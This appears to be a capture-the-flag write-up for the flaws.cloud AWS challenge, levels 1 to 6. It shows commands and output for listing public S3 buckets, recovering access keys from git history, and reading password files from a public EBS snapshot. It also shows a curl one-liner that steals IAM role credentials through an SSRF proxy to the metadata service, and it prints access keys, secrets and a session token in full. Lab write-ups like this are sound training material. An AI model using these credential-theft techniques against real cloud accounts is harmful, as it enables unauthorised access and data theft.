flaws.cloud itself says it best:
Through a series of levels you'll learn about common mistakes and gotchas when using Amazon Web Services (AWS).
There are no SQL injection, XSS, buffer overflows, or many of the other vulnerabilities you might have seen before. As much as possible, these are AWS specific issues.
A series of hints are provided that will teach you how to discover the info you'll need.
If you don't want to actually run any commands, you can just keep following the hints which will give you the solution to the next level.
At the start of each level you'll learn how to avoid the problem the previous level exhibited.
Scope: Everything is run out of a single AWS account, and all challenges are sub-domains of flaws.cloud.
This level is buckets of fun. See if you can find the first sub-domain.
The emphasized word buckets must refer to S3 buckets. And given that S3 buckets are able to host static websites on them - it's likely that flaw.cloud is hosted on s3.
Lets get the IP address (A Record) of flaws.cloud
nslookup flaws.cloud
> flaws.cloud
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: flaws.cloud
Address: 54.231.184.251
Now, lets do an reverse look-up on 54.231.184.251
> 54.231.184.251
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
251.184.231.54.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
Ok - confirmed. It's an s3 static website in the us-west-2 region.
If you using a custom domain (e.g. flaws.cloud) for you S3 hosted static site, then the bucket name must match the domain name.
This tells us the bucket name is flaws.cloud
The URL format for S3 HTTP end points are as follows: s3-<region>.amazonaws.com/<bucketname>
So given the information we have, we can tell that the s3 end point for this bucket is: http://s3-us-west-2.amazonaws.com/flaws.cloud
Browse there, and you'll get an XML response referencing the following files within the bucket:
- hint1.html
- hint2.html
- hint3.html
- index.html
- robots.txt
- secret-dd02c7c.html
Obviously secret-dd02c7c.html looks juicy, lets browse there: http://s3-us-west-2.amazonaws.com/flaws.cloud/secret-dd02c7c.html
Level 2 unlocked.
The next level is fairly similar, with a slight twist. You're going to need your own AWS account for this. You just need the free tier.
Given that they say this is similar to before, I imagine it's related to S3 permissions again - and they require us to have our own AWS Account - so initial thinking is this is a misconfiguration in cross-AWS account access.
We know the bucket name is level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
Configure AWS CLI with your Access Key and Secret Key:
~$ aws configure
AWS Access Key ID [********************]:
AWS Secret Access Key [********************]:
Default region name [ap-southeast-1]: us-west-2
Default output format [None]:
Now lets list the objects in the bucket via the AWS CLI:
:~$ aws s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud --region us-west-2 --recursive
2017-02-27 10:02:15 80751 everyone.png
2017-03-03 11:47:17 1433 hint1.html
2017-02-27 10:04:39 1035 hint2.html
2017-02-27 10:02:14 2786 index.html
2017-02-27 10:02:14 26 robots.txt
2017-02-27 10:02:15 1051 secret-e4443fc.html
Again, the secret file looks good, lets open it in a browser
The URL format for S3 HTTP end points are as follows: s3-<region>.amazonaws.com/<bucketname>
So given the information we have, we can tell that the s3 end point for this bucket is: http://s3-us-west-2.amazonaws.com/level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
So lets open the browser too: http://s3-us-west-2.amazonaws.com/level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/secret-e4443fc.html
Level 3 unlocked.
The next level is fairly similar, with a slight twist. Time to find your first AWS key! I bet you'll find something that will let you list what other buckets are.
Similar suggests S3 again, perhaps one with AWS access and secret keys in it.
We know that the bucket name to start from is level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
Let's first try public access, by browsing too: http://s3-us-west-2.amazonaws.com/level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
Works!, seems to be a bunch of files in there.
Lets get a cleaner list by using the AWS CLI:
~$ aws s3 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud --recursive
2017-09-17 23:12:24 52 .git/COMMIT_EDITMSG
2017-09-17 23:12:24 23 .git/HEAD
2017-09-17 23:12:24 130 .git/config
2017-09-17 23:12:24 73 .git/description
2017-09-17 23:12:24 452 .git/hooks/applypatch-msg.sample
2017-09-17 23:12:24 896 .git/hooks/commit-msg.sample
2017-09-17 23:12:24 189 .git/hooks/post-update.sample
2017-09-17 23:12:24 398 .git/hooks/pre-applypatch.sample
2017-09-17 23:12:24 1704 .git/hooks/pre-commit.sample
2017-09-17 23:12:24 4898 .git/hooks/pre-rebase.sample
2017-09-17 23:12:24 1239 .git/hooks/prepare-commit-msg.sample
2017-09-17 23:12:24 3611 .git/hooks/update.sample
2017-09-17 23:12:24 600 .git/index
2017-09-17 23:12:24 240 .git/info/exclude
2017-09-17 23:12:24 359 .git/logs/HEAD
2017-09-17 23:12:24 359 .git/logs/refs/heads/master
2017-09-17 23:12:24 679 .git/objects/0e/aa50ae75709eb4d25f07195dc74c7f3dca3e25
2017-09-17 23:12:24 770 .git/objects/2f/c08f72c2135bb3af7af5803abb77b3e240b6df
2017-09-17 23:12:25 820 .git/objects/53/23d77d2d914c89b220be9291439e3da9dada3c
2017-09-17 23:12:25 245 .git/objects/61/a5ff2913c522d4cf4397f2500201ce5a8e097b
2017-09-17 23:12:25 112013 .git/objects/76/e4934c9de40e36f09b4e5538236551529f723c
2017-09-17 23:12:25 560 .git/objects/92/d5a82ef553aae51d7a2f86ea0a5b1617fafa0c
2017-09-17 23:12:25 191 .git/objects/b6/4c8dcfa8a39af06521cf4cb7cdce5f0ca9e526
2017-09-17 23:12:25 42 .git/objects/c2/aab7e03933a858d1765090928dca4013fe2526
2017-09-17 23:12:25 904 .git/objects/db/932236a95ebf8c8a7226432cf1880e4b4017f2
2017-09-17 23:12:25 98 .git/objects/e3/ae6dd991f0352cc307f82389d354c65f1874a2
2017-09-17 23:12:25 279 .git/objects/f2/a144957997f15729d4491f251c3615d508b16a
2017-09-17 23:12:25 125 .git/objects/f5/2ec03b227ea6094b04e43f475fb0126edb5a61
2017-09-17 23:12:25 41 .git/refs/heads/master
2017-02-27 08:14:33 123637 authenticated_users.png
2017-02-27 08:14:34 1552 hint1.html
2017-02-27 08:14:34 1426 hint2.html
2017-02-27 08:14:35 1247 hint3.html
2017-02-27 08:14:33 1035 hint4.html
2017-02-27 10:05:16 1703 index.html
2017-02-27 08:14:33 26 robots.txt
2 interesting bits here, namely authenticated_users.png and the .git directory contents.
Lets browse to have a look at the PNG first: http://s3-us-west-2.amazonaws.com/level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/authenticated_users.png
Ok thats nothing useful, just an image for the level 3 documentation...
Now lets poke around the .git directory...
Lets make a local copy first:
$ aws s3 cp s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud ~/testtest --recursive
.git/COMMIT_EDITMSG contains the message: "Oops, accidentally added something I shouldn't have" - which likely means that they did a commit inclusive of AWS keys...
Furthermore if I run git log I get:
commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526
Author: 0xdabbad00 <scott@summitroute.com>
Date: Sun Sep 17 09:10:43 2017 -0600
Oops, accidentally added something I shouldn't have
commit f52ec03b227ea6094b04e43f475fb0126edb5a61
Author: 0xdabbad00 <scott@summitroute.com>
Date: Sun Sep 17 09:10:07 2017 -0600
first commit
This implies there is something in commit f52ec03b227ea6094b04e43f475fb0126edb5a61 that the developer didn't want there, and removed it in commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526
Lets have a closer look at commit f52ec03b227ea6094b04e43f475fb0126edb5a61
git checkout f52ec03b227ea6094b04e43f475fb0126edb5a61
Then lets look at what file(s) have popped out:
~/testtest$ ls
access_keys.txt authenticated_users.png hint1.html hint2.html hint3.html hint4.html index.html robots.txt
Oops, there is access_keys.txt, lets look
~/testtest$ cat access_keys.txt
access_key AKIAJ366LIPB4IJKT7SA
secret_access_key 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
Lets make another AWS configure profile using the newly discovered keys:
~/testtest$ aws configure --profile flawslevel3
AWS Access Key ID [None]: AKIAJ366LIPB4IJKT7SA
AWS Secret Access Key [None]: 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
Default region name [None]: us-west-2
Default output format [None]:
Now let's see if they are valid, and if any interesting S3 buckets are available:
$ aws s3 ls --profile flawslevel3
2017-02-19 03:41:52 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud
2017-05-30 00:34:53 config-bucket-975426262029
2017-02-27 04:06:33 flaws-logs
2017-02-19 03:40:54 flaws.cloud
2017-02-24 13:15:42 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2017-02-27 02:29:03 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
2017-02-27 02:49:31 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
2017-02-27 03:49:03 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud
2017-02-27 03:48:40 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
2017-02-27 04:07:13 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud
Indeed!, there are the bucket names for level 2 to the end.
Lets try browse to Level 4 publicly: http://level4-1156739cfb264ced6de514971a4bef68.flaws.cloud/
Level 4 unlocked.
For the next level, you need to get access to the web page running on an EC2 at 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud It'll be useful to know that a snapshot was made of that EC2 shortly after nginx was setup on it.
Challenge states that there is an EBS snapshot of the EC2 instance - so I'd imagine we could find our creds in there.
Lets try and get a VolumeID of the running instances:
aws ec2 describe-instances --profile flaws
<snip>
"Ebs": {
"Status": "attached",
"DeleteOnTermination": true,
"VolumeId": "vol-04f1c039bc13ea950",
"AttachTime": "2017-02-12T22:29:25.000Z"
}
<snip>
Convenient, only a single running EC2 instance, and has a VolumeID of vol-04f1c039bc13ea950 - but lets be sure it's actually the instance we want my comparing the public IPv4 address
aws ec2 describe-instances --profile flaws
"Association": {
"PublicIp": "35.165.182.7",
"PublicDnsName": "ec2-35-165-182-7.us-west-2.compute.amazonaws.com",
"IpOwnerId": "amazon"
}
<snip>
The running instance has an public IP of 35.165.182.7, lets do a look-up on 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud to see if it matches:
~$ nslookup 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud canonical name = ec2-35-165-182-7.us-west-2.compute.amazonaws.com.
Name: ec2-35-165-182-7.us-west-2.compute.amazonaws.com
Address: 35.165.182.7
It's a match!
Now lets find that EBS snapshot by VolumeId
~$ aws ec2 describe-snapshots --filters "Name=volume-id, Values=vol-04f1c039bc13ea950" --profile flaws
{
"Snapshots": [
{
"Description": "",
"Tags": [
{
"Value": "flaws backup 2017.02.27",
"Key": "Name"
}
],
"Encrypted": false,
"VolumeId": "vol-04f1c039bc13ea950",
"State": "completed",
"VolumeSize": 8,
"StartTime": "2017-02-28T01:35:12.000Z",
"Progress": "100%",
"OwnerId": "975426262029",
"SnapshotId": "snap-0b49342abd1bdcb89"
}
]
}
Now let's check the createVolumePermission on this snapshot:
~$ aws ec2 describe-snapshot-attribute --snapshot-id snap-0b49342abd1bdcb89 --attribute createVolumePermission --profile flaws
{
"SnapshotId": "snap-0b49342abd1bdcb89",
"CreateVolumePermissions": [
{
"Group": "all"
}
]
}
Oops!, Anyone can create a volume based on this snapshot.
Let's try and create a volume from this snapshot in our own AWS account so we can use it to spin up an EC2 instance with our own SSH keypair and poke around.
aws ec2 create-volume --region us-west-2 --availability-zone us-west-2a --snapshot-id snap-0b49342abd1bdcb89
{
<snip>
"State": "creating"
<snip>
}
Looks good!
aws ec2 describe-volumes
{
<snip>
"VolumeId": "vol-0a8f64220765bd28a"
"State": "available"
<snip>
}
Very nice!
How we need to make an EC2 instance, and mount this extra volume to poke around... Gonna do this via the AWS Console, as that way I don't need to go and find AMI IDs, Security Group names, Subnets IDs etc
<I'm off at the AWS Console, spinning up a T2.micro in us-west-2a - with a security group allowing SSH in>....
I'm back.
First lets get the EC2 instance ID:
aws ec2 describe-instances
{
<snip>
"InstanceId": "i-060483a9958562fad"
<snip>
}
Now lets attach the volume we created on /dev/sdf:
aws ec2 attach-volume --volume-id vol-0a8f64220765bd28a --instance-id i-060483a9958562fad --device /dev/sdf
{
<snip>
"State": "attaching"
<snip>
}
Great, now we should be good to SSH into the instance using our own keypair. Lets get the public IP:
aws ec2 describe-instances --instance-id i-060483a9958562fad
{
<snip>
"PublicIp": "34.217.133.22",
<snip>
}
Ok SSH time:
ssh -i mysupasecretprivatekey ec2user@34.217.133.22
Lets see if we can see the block device
[ec2-user@ip-172-31-31-47 ~]$ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda 202:0 0 8G 0 disk
└─xvda1 202:1 0 8G 0 part /
xvdf 202:80 0 8G 0 disk
└─xvdf1 202:81 0 8G 0 part
There is the virtual disk - /dev/xvdf1, lets make a mount point and mount it:
sudo mkdir /mnt/flaws
sudo mount /dev/xvdf1 /mnt/flaws
$ mount
<snip>
/dev/xvdf1 on /mnt/flaws type ext4 (rw,relatime,data=ordered)
<snip>
Lets see what we can find:
$ ls /mnt/flaws/
bin dev home initrd.img.old lib64 media opt root sbin srv tmp var vmlinuz.old
boot etc initrd.img lib lost+found mnt proc run snap sys usr vmlinuz
Looks like a fvalid linux filesystem layout, now... where to get those crendentials. The challenge said... "a snapshot was made of that EC2 shortly after nginx was setup on it."
$ cat /mnt/flaws/etc/nginx/.htpasswd
flaws:$apr1$4ed/7TEL$cJnixIRA6P4H8JDvKVMku0
Juicy!
Username: flaws
However is that password encrypted or plain-text? I quick attempt at http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/ confirmed it's not clear-text
But it must have been entered in plain-text originally, lets see what user directories we have...
# ls /mnt/flaws/home
ubuntu
Just the one user - ubuntu
Oops! they left the script in their home-directory with the command to generate the encrypted htpasswd from the clear-text one!
$ cat setupNginx.sh | more
htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M
Lets try that. User: flaws Password: nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M
WORKS!
BTW - the /home/ubuntu/.bash_history makes for good reading too
Tells us to go to page: http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c/
Level 5 unlocked.
This EC2 has a simple HTTP only proxy on it. Here are some examples of it's usage: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/flaws.cloud/ http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/summitroute.com/blog/feed.xml http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/neverssl.com/ See if you can use this proxy to figure out how to list the contents of the level6 bucket at level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud that has a hidden directory in it.
We need to find the hidden directory within the level 6 bucket - level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
What happens if we try browse directly to the bucket via a browser?
Access Denied
Level 6 is hosted in a sub-directory, but to figure out that directory, you need to play level 5 properly.
Ok, so the level 5 EC2 instance gives us a proxy, where the target URL should be appended to the end of http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/
What if we tried to browse to the Level6 bucket via the proxy?
No dice.
I spend quite a bit of time thinking this one through, and tried a few fruitless things. So decided to get a hint via: http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c/hint1.html which said:
On cloud services, including AWS, the IP 169.254.169.254 is magical. It's the metadata service.
There is an RFC on it (RFC-3927), but you should read the AWS specific docs on it here.
Ah! of course! what if use the proxy to get it's own instance meta-data... perhaps we could get some credentials or other useful info to use...
Lets try and find something - within the latest meta-data..
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
hostname
iam/
instance-action
instance-id
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/
iam/ looks interesting - lets go in there:
info
security-credentials/
security-credentials/ - yes please, lets follow that
flaws
flaws/ - nice, that is our IAM account name
{
"Code" : "Success",
"LastUpdated" : "2018-02-07T06:23:47Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAJXNSZYFI7LKRQ4KA",
"SecretAccessKey" : "gX0Tlc11lbWsdhPMKSGtWCAR2EuTqauh6DFAt4f8",
"Token" : "FQoDYXdzELj//////////wEaDKOpciHx0oqRxX5GbiK3A/MQWiOVjusWUJ0Uq2gVwHpsro6Yz9kztwcyyKmzMSUxc85LAtdyr2Q6zQ5AIe1GATRGWAqpG+z1ZZdKIrernZaqc6Cv8zNkQsPC0yLVmTjGJcBG443u6phnrnmkea+nXzA2X9rHC191XIlWH3JfOqR4L92+/Q9uOmt3K1XHoXkzHWr+OdbbvYedYAjqngLz6ifOGGZ1LC5s6a35/hw4ty3xaAXGC1x1z+uDuq5AM3FcrNv21FdBKOzz4VqKg3FXeJi4VLyetuOYJojj/i0goLZ1Lw7FGoX3lW1xwBV18yVQTscaEWI/s5EQS1nNOo+XNkbuT+CuxQUvAbU5CJyLCt7DPWz3SPBn/YY1mGgDRJdRWErOQzxw1PYQgrNVxca7ZhzLlKjR7J26IpD0E88W4Y4hRjut3wtlL5QXqNCUe4Wob9szWi/ClNxLxscsDNxlIhvbStwgEVrqg3UDLQrS+KDhL2uk1Rd49SQ5vYLQ2TjalvDxl+RWmC3la5GzqrfHFQIhhagb4ciJpdKc2R+J7Gn8gGdUZt8cEym0iUR0Dg79PO+s529nIvo+d0Z6lyXh4DLRTIYUN+wo1bbq0wU=",
"Expiration" : "2018-02-07T12:33:10Z"
}
Great! creds!
But given this will be an IAM Role, we can't just use the AccessKeyId and SecretAccessKey as these were issued by STS (security Token Service), hence need to use the Token too. Furthermore, these values rotate automatically - so will need to get them programmatically and use them right away.
So I think I'll script it as follows to pull them into environment variables programmatically:
export AWS_ACCESS_KEY_ID=`curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws | grep "AccessKeyId" | awk '{print $3}' | cut -d\" -f2`
export AWS_SECRET_ACCESS_KEY=`curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws | grep "SecretAccessKey" | awk '{print $3}' | cut -d\" -f2`
export AWS_SESSION_TOKEN=`curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws | grep "Token" | awk '{print $3}' | cut -d\" -f2`
Then lets see if we can list the contents of the level 6 bucket:
aws s3 ls s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
PRE ddcc78ff/
2017-02-27 10:11:07 871 index.html
Oh! looky - ddcc78ff/ must be our sub-directory, lets browse there: http://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff/
Winner!
Level 6 unlocked.
For this final challenge, you're getting a user access key that has the SecurityAudit policy attached to it. See what else it can do and what else you might find in this AWS account.
Access key ID: AKIAJFQ6E7BY57Q3OBGA
Secret: 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
This time we start with purportedly valid creds, so it seems we need to try a look for some misconfigurations to exploit.
First lets load the creds for use in the AWS CLI
$ aws configure --profile flawslevel6
AWS Access Key ID [None]: AKIAJFQ6E7BY57Q3OBGA
AWS Secret Access Key [None]: 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
Default region name [None]: us-west-2
Default output format [None]:
The AWS documentation states the following as it related to the SecurityAudit managed policy:
Security Auditor
AWS managed policy name: SecurityAudit
Use case: This user monitors accounts for compliance with security requirements. This user can access logs and events to investigate potential security breaches or potential malicious activity.
Policy description: This policy grants permissions to view configuration data for many AWS services and to review their logs.
Interesting, I noticed a S3 bucket called flaws-log earlier, lets see:
aws s3 ls s3://flaws-logs --profile flawslevel6
An error occurred (AccessDenied) when calling the ListObjects operation: Access Denied
Ok, not that easy.
Other AWS services that this policy is likely related to would be CloudTrail and CloudWatch...
aws cloudtrail describe-trails --profile flawslevel6
"trailList": [
{
"IncludeGlobalServiceEvents": true,
"Name": "cloudtrail",
"S3KeyPrefix": "cloudtrail",
"TrailARN": "arn:aws:cloudtrail:us-west-2:975426262029:trail/cloudtrail",
"LogFileValidationEnabled": true,
"IsMultiRegionTrail": true,
"HasCustomEventSelectors": false,
"S3BucketName": "flaws-logs",
"HomeRegion": "us-west-2"
}
]
Indeed CouldTrail is ON, with the trail name of cloudtrail and pushing files with the cloudtrail prefix to the flaws-logs bucket.
Lets see if we can list the CloudTrail events:
~$ aws cloudtrail lookup-events --profile flawslevel6
An error occurred (AccessDeniedException) when calling the LookupEvents operation: User: arn:aws:iam::975426262029:user/Level6 is not authorized to perform: cloudtrail:LookupEvents
Nopes.
Lets learn more about this user:
$ aws --profile flawslevel6 iam get-user
{
"User": {
"UserName": "Level6",
"Path": "/",
"CreateDate": "2017-02-26T23:11:16Z",
"UserId": "AIDAIRMDOSCWGLCDWOG6A",
"Arn": "arn:aws:iam::975426262029:user/Level6"
}
}
And their attached policies:
$ aws --profile flawslevel6 iam list-attached-user-policies --user-name Level6
{
"AttachedPolicies": [
{
"PolicyName": "list_apigateways",
"PolicyArn": "arn:aws:iam::975426262029:policy/list_apigateways"
},
{
"PolicyName": "SecurityAudit",
"PolicyArn": "arn:aws:iam::aws:policy/SecurityAudit"
}
]
}
Oh!, this user is also attached to the list_apigateways policy.
Lets learn more about this policy:
aws --profile flawslevel6 iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways
{
"Policy": {
"PolicyName": "list_apigateways",
"Description": "List apigateways",
"CreateDate": "2017-02-20T01:45:17Z",
"AttachmentCount": 1,
"IsAttachable": true,
"PolicyId": "ANPAIRLWTQMGKCSPGTAIO",
"DefaultVersionId": "v4",
"Path": "/",
"Arn": "arn:aws:iam::975426262029:policy/list_apigateways",
"UpdateDate": "2017-02-20T01:48:17Z"
}
}
Now that we have the ARN and the version id - we can get the meat of this policy:
$ aws --profile flawslevel6 iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4
{
"PolicyVersion": {
"CreateDate": "2017-02-20T01:48:17Z",
"VersionId": "v4",
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"apigateway:GET"
],
"Resource": "arn:aws:apigateway:us-west-2::/restapis/*",
"Effect": "Allow"
}
]
},
"IsDefaultVersion": true
}
}
Now we know that this user is allowed to use the action GET with the resource arn:aws:apigateway:us-west-2::/restapis/*
API Gateway is typically used in conjunction with Lambda functions, lets see if we can see any:
$ aws --region us-west-2 --profile flawslevel6 lambda list-functions
{
"Functions": [
{
"TracingConfig": {
"Mode": "PassThrough"
},
"Version": "$LATEST",
"CodeSha256": "2iEjBytFbH91PXEMO5R/B9DqOgZ7OG/lqoBNZh5JyFw=",
"FunctionName": "Level6",
"MemorySize": 128,
"CodeSize": 282,
"FunctionArn": "arn:aws:lambda:us-west-2:975426262029:function:Level6",
"Handler": "lambda_function.lambda_handler",
"Role": "arn:aws:iam::975426262029:role/service-role/Level6",
"Timeout": 3,
"LastModified": "2017-02-27T00:24:36.054+0000",
"Runtime": "python2.7",
"Description": "A starter AWS Lambda function."
}
]
}
There is one! Called Level6 - lets look into the policy:
aws --region us-west-2 --profile flawslevel6 lambda get-policy --function-name Level6
{
"Policy": "{\"Version\":\"2012-10-17\",\"Id\":\"default\",\"Statement\":[{\"Sid\":\"904610a93f593b76ad66ed6ed82c0a8b\",\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"apigateway.amazonaws.com\"},\"Action\":\"lambda:InvokeFunction\",\"Resource\":\"arn:aws:lambda:us-west-2:975426262029:function:Level6\",\"Condition\":{\"ArnLike\":{\"AWS:SourceArn\":\"arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6\"}}}]}"
}
Interesting info, we can executearn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6\ and s33ppypa75 is a rest-api-id
To get the full path we'll need the stage name:
aws --profile flawslevel6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75"
{
"item": [
{
"stageName": "Prod",
"cacheClusterEnabled": false,
"cacheClusterStatus": "NOT_AVAILABLE",
"deploymentId": "8gppiv",
"lastUpdatedDate": 1488155168,
"createdDate": 1488155168,
"methodSettings": {}
}
]
}
Stage name is: Prod
So we have all the pieces to complete the format: https://<rest-api-id>.execute-api.<region>.amazonaws.com/<stage-name>/<lambda function>
Therefore, we can access the endpoint here: https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6
If we browse there we get the following output:
"Go to http://theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud/d730aa2b/"
Done!
Level 6 complete.